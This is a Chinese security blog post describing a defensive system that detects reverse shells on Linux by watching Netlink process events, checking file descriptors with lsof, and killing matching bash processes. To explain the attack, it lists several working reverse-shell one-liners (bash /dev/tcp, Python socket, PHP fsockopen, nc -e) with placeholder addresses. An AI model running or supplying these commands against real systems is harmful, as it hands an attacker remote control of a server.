自动化反弹Shell防御技术

admin 2022年3月23日06:15:35评论303 views字数 6817阅读22分43秒阅读模式

自动化反弹Shell防御技术

前言

当命令注入点已经到手,Webshell已经就绪,nc已经监听起来了,冒新鲜热气儿的Shell唾手可得的那种狂喜,大家还记得吗?反弹Shell一般是外网渗透的最后一步,也是内网渗透的第一步。反弹Shell对服务器安全乃至内网安全的危害不必多说。


虽然本diao主要是玩Web安全的,可主机安全监控也是要做起来的,谁让咱是一个人的安全部呢?最近笔者潜心搞了一个反弹Shell攻击自动发现和阻断系统,本着技术共享的理念,当然也是为了让各位大神看看有没有绕过的可能,把这个技术分享出来,大家共勉。


项目GitHub: Seesaw

0×1 反弹Shell解析

未知攻,焉知防?我们先来分析一下反弹Shell这个不新的渗透技术,看看有什么入手点。反弹Shell顾名思义,有两个关键词——反弹和Shell。


反弹:利用命令执行/代码执行/Webshell/Redis未授权访问写入crontab等等漏洞,使目标服务器发出主动连接请求,从而绕过防火墙的入站访问控制规则。

Shell:使服务器Shell进程stdin/stdout/stderr重定向到攻击端。

常见的反弹Shell姿势有(详见文章):


bash -i >& /dev/tcp/ip/port 0>&1python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'nc -e /bin/bash ip port

通过仔细观察,我们可以发现这些姿势无一例外使用了重定向,这也是识别反弹Shell的突破口,且听笔者细细道来。


我们知道Linux中一切皆文件,正常情况下打开Bash进程时,Bash进程的stdin、stdout、stderr会定向到终端设备文件(例如/dev/pts/0),如下示意图:


自动化反弹Shell防御技术


此时Bash打开的文件描述符为:


自动化反弹Shell防御技术


可以看到bash进程已经打开了对应的字符设备文件描述符,用于将stdin(0u)/stdout(1u)/stderr(2u)等定向到字符设备。


当出现反弹Shell时,例如最流行的姿势bash -i >& /dev/tcp/ip/port 0>&1,我们来解析一下这条命令的意思。


bash -i:启动交互式bash进程


& /dev/tcp/ip/port:将stdout/stderr重定向到与ip:port的tcp套接字中


0>&1:将stdin重定向到stdout中(此时stdout是重定向到套接字的,也就是说stdin也将从套接字中读取)


综上,这条命令是为了控制Bash进程,并获得进程的标准输出和错误输出,采用重定向技术将stdin/stdout/stderr重定向到了套接字设备中,此时输入输出的结构发生了变化,如下示意图:


自动化反弹Shell防御技术


通过lsof命令可以看到此时的文件描述符打开情况:


自动化反弹Shell防御技术


可以发现stdin(0u)/stdout(1u)/stderr(2u)全都重定向到了TCP套接字中,而且此时进程所属的用户也变成了apache(运行Web服务的用户),当前路径就是Webshell所在的目录。


先知社区有不错的反弹Shell重定向分析:Linux反弹shell(一)文件描述符与重定向、Linux 反弹shell(二)反弹shell的本质。本文借鉴学习了这些文章内容,也正是通过对文章内容的学习启发了以上我对反弹Shell的特征提取思路,比心。

0×2 总体思路

综合上述分析,反弹Shell的识别思路便浮出水面:


及时发现Bash进程启动事件。

检查Bash进程是否打开了终端设备,是否有主动对外连接。

0×3 失败尝试

思路是有了,实现时却发现困难重重,第一个深坑,就是如何在第一时间捕捉到Shell进程的启动。为什么要第一时间呢?如果给了黑客短暂的操作窗口,就可能被植入更深层的木马/rootkit,甚至提权后直接把咱的监控程序干掉,这是绝对不能容忍的。


在这个深坑里,笔者扑腾了好几回,下面介绍在坑中的各种尝试,以及最终的成功方法。为啥失败的经验还要说呢?其实这些思路本身不坏,只是不太适合我们的项目目标,顺便介绍给大家共勉。

Round 1 Sysloghistory of BASH

既然要发现Shell进程,第一个思路是从Bash本身入手,如果Bash执行命令,让Bash进程自己告诉我。编译Bash开启命令history syslog功能,从而获取bash命令、bash进程pid、uid、pwd之类有用的信息,正好之前做异常命令识别时有过这个经验,当时也借鉴了一些文章:安全运维之如何将Linux历史命令记录发往远程Rsyslog服务器。


说干就干,下载bash源码:https://ftp.gnu.org/gnu/bash/。

a. 打开config-top.h 116行注释,开启bash syslog history功能:


自动化反弹Shell防御技术


b. 在bashhist.c 771行和776行自定义需要的syslog内容和格式,比如我最爱的JSON,但由于命令内容容易出现引号、转义符等导致JSON解析不成功,单独放在一列:


自动化反弹Shell防御技术


c. 修改rsyslog配置/etc/rsyslog.conf,用于本地保存或者发送至远程日志服务器做分析,并重启rsyslog服务(service rsyslog restart):


自动化反弹Shell防御技术


至此,所有调用Bash执行的命令都被我们记录下来了:


自动化反弹Shell防御技术


是不是感觉胜利在望了?笔者当时也很兴奋。可是在测试中发现如果反弹命令前面带“sh -c”,就不会被记录。这是不能容忍的缺陷,可是为啥记录不到,找不到任何头绪。沮丧的同时笔者深入思考,这个方法是不适合用于监控Shell进程启动的,实际执行命令时再检查就太晚了。

Round 2 proc文件系统

此路不通不要气馁,再接再厉。我们知道Linux系统有一个proc伪文件系统,记录着当前内核运行状态等信息,还有以进程id为名的一堆目录,里面是与该进程相关的运行信息。能不能从proc文件系统下手,实时监控Shel进程呢?

第一反应是用inotify监控/proc目录创建目录的事件,一旦创建新目录就说明启动了新进程,再进行相应的检查。用pyinotify库写了一个监控程序:


class BashHandler(pyinotify.ProcessEvent):     def process_IN_CREATE(self, event):         print(event.path, event.name, event.dir, event.mask, event.maskname, event.pathname, event.wd)if __name__ == '__main__':     wm = pyinotify.WatchManager()     mask = pyinotify.IN_CREATE     notifier = pyinotify.Notifier(wm, BashHandler())     wm.add_watch('/proc', mask, rec=False)    while True:        try:             notifier.process_events()            if notifier.check_events():                 print('detached')                 notifier.read_events()        except KeyboardInterrupt:             notifier.stop()            break

此时尴尬的事情出现了,inotify竟然捕捉不到任何/proc有关的读写事件!


自动化反弹Shell防御技术


仔细研究inotify的实现原理才知道,inotify监视着文件inode,而proc伪文件系统只是内存的映射没有inode,自然不能通过inotify监控到。

Round 3 bash打开事件

此时我把目光又转回到bash本身。我们知道Bash进程启动也就是会打开/bin/bash这个可执行文件,能不能用inotify监控/bin/bash的打开事件呢?


inotifywait -m /bin/bash -e open


实践证明,这回inotify没有让我们失望,每次bash打开都被诚实地捕捉到了:


自动化反弹Shell防御技术


可是inotify太诚实了,甚至有点缺心眼,不会返回给我们打开文件的进程是谁。

此时更尴尬的事情出现了,当我们的程序捕捉到inotify事件从而对bash进程进行检查时,/bin/bash又会被打开!这就恐怖了,程序会进入到死循环里,出现打开事件,检查进程,结果自己导致了新的打开事件。物理学上这叫“自激”,KTV里这叫“啸叫”。


自动化反弹Shell防御技术


0×4 成功

Round 4 Netlink Socket

笔者越挫越勇,进入新一轮的研究。发现Linux有一个很好的IPC机制叫Netlink套接字,用于在内核与用户进程之间传递消息,其中就包括了进程事件信息!

Netlink使用标准的socket api,我们只需要创建对应类型的netlink socket并进行监听即可。参考:Netlink通信机制。


正好在GitHub上有一个基于netlink的python项目(https://github.com/dbrandt/proc_events),自动创建进程事件netlink socket并监听,返回一个yield生成器对象:


自动化反弹Shell防御技术


这个好极了,返回了很多有用的信息。我们只需要监听PROC_EVENT_EXEC事件,就可以获取新创建进程的tgid(也就是lsof要用到的PID)用于检查进程是否为反弹Shell。当然这个时候也需要采取必要的措施防止“自激”,我在代码使用了排除法,不检查lsof进程自身的pid。而之前没法防止自激,是因为inotify不能返回读写进程的pid。

利用Netlink套接字,我成功地实时捕捉到了Bash进程启动事件。后面的事情要顺利得多,只要使用lsof命令获取进程打开的文件描述符,应用上面所述的识别逻辑即可,详见代码(github项目agent/seesaw.py):


from proc_events.pec import pec_loopimport subprocessimport shleximport tracebackimport reimport os  white_list = ['192.168.204.5']def check_for_reversed_shell(lsof):     '''     if the process was bash which had got remote socket and not got tty, then it must be a reversed shell.     :param lsof:     :return: positive: bool              peer: str remote socket     '''     fds = [x.strip() for x in lsof.split('n') if x]     is_bash = has_socket = has_tty = False     peer = pwd = None     for fd in fds:         detail = fd.split()         fd = detail[3]         t = detail[4]        if t == 'CHR' and re.findall('(tty|pts|ptmx)', detail[-1]):             has_tty = True         elif 'IP' in t and detail[-1] == '(ESTABLISHED)':             has_socket = True             peer = detail[-2].split('->')[1]        elif 'txt' in fd and re.findall('bash', detail[-1]):             is_bash = True         elif 'cwd' in fd:             pwd = detail[-1]    if peer:        for ip in white_list:            if peer.startswith(ip+':'):                return False, None, None     return (is_bash and has_socket and not has_tty), peer, pwddef deal(pid):     # simple and efficient kill     os.system('kill -9 %s' % (pid,))if __name__ == "__main__":     self_pids = []    for e in pec_loop():        if e['what'] == 'PROC_EVENT_EXEC':            try:                #exclude lsof processes                 if e['process_tgid'] in self_pids:                     self_pids.remove(e['process_tgid'])                    continue                 else:                     p = subprocess.Popen(shlex.split('lsof -p %s -Pn' % (e['process_tgid'])), stdout=subprocess.PIPE, stderr=subprocess.PIPE)                    # prevent self-excitation                     self_pids.append(int(p.pid))                     out, err = p.communicate()                    if out:                        try:                             positive, peer, pwd = check_for_reversed_shell(out)                            if positive:                                 deal(e['process_tgid'])                                 print('######n### Reversed Shell Detached ###n'                                       '### pid:%s ###n'                                       '### peer:%s ###n'                                       '### webshell directory: %s ###n'                                       '### Killed immediately. ###n######' % (e['process_tgid'], peer, pwd))                        except Exception as ex:                             traceback.print_exc(ex)            except Exception as ex:                 traceback.print_exc(ex)

0×5 演示视频

录了一个Demo视频,很小不到6M,流量党可放心观看。 Seesaw Demo

0×6 总结

自己对思考了一下,这个方法优缺点总结如下:

优点:

快速响应:由于Netlink通信机制占用系统资源很少,对于Shell进程启动事件的响应基本无延时,后续主动检测确认为反弹Shell后直接Kill。

绕过较难:由于一般反弹Shell的姿势都是调用bash且通过重定向获取bash的标准输入输出,因此没有前置经验的情况下基本都会被防御住。

信息全面:发现反弹Shell后,收集到Shell相关的信息包括PID、SID(可用于判断究竟是哪个进程组出现了漏洞)、当前路径(方便查找Webshell)、系统用户等,可以再深入挖掘这个技术的应用场景,也可以统一汇总到SOC等分析平台进行联动。

缺点:

绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。严格限制上传文件目录的执行权限、Bash文件权限可以有效限制这个风险。

检测盲区:无法检测到直接调用Webshell执行命令的事件,因此低权限无交互的命令可以通过Webshell执行到。

本文所述反弹Shell识别方法,并不完美,把自己的思路分享出来,算是抛转引玉吧。


自动化反弹Shell防御技术




本文始发于微信公众号(疯猫网络):自动化反弹Shell防御技术

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月23日06:15:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   自动化反弹Shell防御技术https://cn-sec.com/archives/514153.html

发表评论

匿名网友 填写信息